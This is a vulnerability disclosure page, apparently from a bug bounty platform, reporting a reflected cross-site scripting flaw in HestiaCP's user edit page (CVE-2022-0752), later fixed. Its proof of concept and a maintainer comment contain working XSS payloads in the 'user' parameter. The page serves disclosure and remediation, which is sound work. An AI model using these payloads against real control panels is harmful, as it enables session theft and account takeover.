Cross-site Scripting (XSS) - Generic in hestiacp/hestiacp

0

✓ Valid Reported on Feb 17th 2022

Description

The user-controlled GET user parameter in index.php is unsanitized resulting in Cross-Site Scripting.

Proof of Concept

Endpoint:
GET https://{HOST}/edit/user
**File: /web/edit/user/index.php#L11

```
// Check user argument
if (empty($_GET['user'])) {
    header("Location: /list/user/");
    exit;
}
```

Request
https://{HOST}/edit/user/?user= `<htmL/+/OnpOintEReNTEr%0d=%0d["XSS-HERE"].find(confirm)//` &token=1fb3da5a8992ed8fd9d95cfe828457d4

Impact

This vulnerability is capable of running malicious Javascript code on web pages, stealing a user's cookie and gaining unauthorized access to that user's account through the stolen cookie.

CVE
CVE-2022-0752
(Published)

Vulnerability Type

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Generic

Severity
Low (3.5)

Visibility
Public

Status
Fixed

Found by

Faisal Fs ⚔️
@faisalfs10x
unranked

This report was seen 582 times.

We are processing your report and will contact the **hestiacp** team within 24 hours. 9 months ago

We have contacted a member of the **hestiacp** team and are waiting to hear back 9 months ago

We have sent a follow up to the **hestiacp** team. We will try again in 7 days. 9 months ago

Jaap Marcus 9 months ago Maintainer

Example provided doesn't work how ever

```
https://hostname:8083/edit/user/?user=%22%3E%3Ca%20href=%22%22%20onclick=%22javascript
```

does work fine. So the issue it self is valid

Jaap Marcus validated this vulnerability 9 months ago

Faisal Fs ⚔️ has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Chat with us

Jaap Marcus 9 months ago Maintainer

@admin Please provide a CVE for this vulnerability

Jamie Slome 9 months ago Admin

Sorted! 🎊

`CVE-2022-0752`

We have sent a fix follow up to the **hestiacp** team. We will try again in 7 days. 9 months ago

Jaap Marcus marked this as fixed in **1.5.9** with commit **ee10e2** 9 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

contact us

terms

privacy policy

Chat with us